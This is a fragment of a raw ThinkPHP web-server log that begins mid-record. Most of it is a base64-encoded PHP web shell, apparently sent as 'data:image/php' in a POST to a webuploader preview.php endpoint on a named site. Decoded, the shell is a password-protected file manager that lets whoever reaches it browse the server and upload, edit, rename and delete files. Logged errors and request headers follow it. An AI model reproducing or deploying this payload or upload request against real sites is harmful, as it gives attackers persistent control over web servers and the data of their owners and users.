'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:16+08:00 ] 116.213.36.234 POST 51tianwei.com/public/admin/js/webuploader/0.1.15/server/preview.php [运行时间:0.002524s] [吞吐率:396.17req/s] [内存消耗:196.69kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 